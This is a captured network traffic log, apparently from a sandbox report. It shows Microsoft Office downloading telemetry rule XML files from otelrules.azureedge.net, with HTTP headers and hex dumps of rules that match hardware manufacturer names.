2024-11-20 02:21:41 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:41 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:41 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 947c7cf8-001e-00a2-018c-3ad4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022141Z-185f5d8b95crl6swhC1NYC3ueg00000009u0000000003y02 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:41 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.8	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:41 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:41 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:41 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: c6b0c23f-801e-0048-738c-3af3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022141Z-r1d97b99577ckpmjhC1TEBrzs000000008bg000000001tfg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:41 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.8	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:41 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:41 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:41 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 7f65af6f-801e-0067-5f8c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022141Z-1777c6cb754ww792hC1TEBzqu400000008rg00000000ks31 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:41 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.8	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:41 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:41 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:41 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: be70ec4e-301e-000c-088c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022141Z-185f5d8b95cdtclvhC1NYC4rmc00000009rg00000000crf4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:41 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.8	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:41 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:41 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:41 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 657669b3-a01e-0002-118c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022141Z-r1d97b995774zjnrhC1TEBv1ww000000082000000000mhry x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:41 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.8	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:42 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:42 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:42 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65766a9d-a01e-0002-6d8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022142Z-1777c6cb754gc8g6hC1TEB966c0000000910000000002s2h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:42 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.8	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:42 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:42 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:42 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 538c974f-101e-0028-648c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022142Z-185f5d8b95c5lcmhhC1NYCsnsw00000009h000000000y79g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:42 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.8	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:42 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:42 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:42 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: fdab78a3-101e-005a-1d8c-3a882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022142Z-1777c6cb754gvvgfhC1TEBz4rg00000008yg00000000k77s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:42 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.8	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:42 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:42 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:42 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: ac667451-e01e-003c-3e8c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022142Z-185f5d8b95cjbkr4hC1NYCeu2400000009dg00000000gd0k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:42 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.8	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:42 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:42 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:42 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 65766a7e-a01e-0002-4f8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022142Z-185f5d8b95c5lcmhhC1NYCsnsw00000009ng00000000hzex x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 02:21:42 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.8	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:43 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:43 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:43 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: feb02638-401e-0067-7b8c-3a09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022143Z-185f5d8b95c95vpshC1NYC759c00000009kg00000000gdn4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:43 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.8	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:43 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:43 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:43 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 70a27ff5-201e-0051-4e8c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022143Z-185f5d8b95c95vpshC1NYC759c00000009qg0000000006ch x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:43 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" 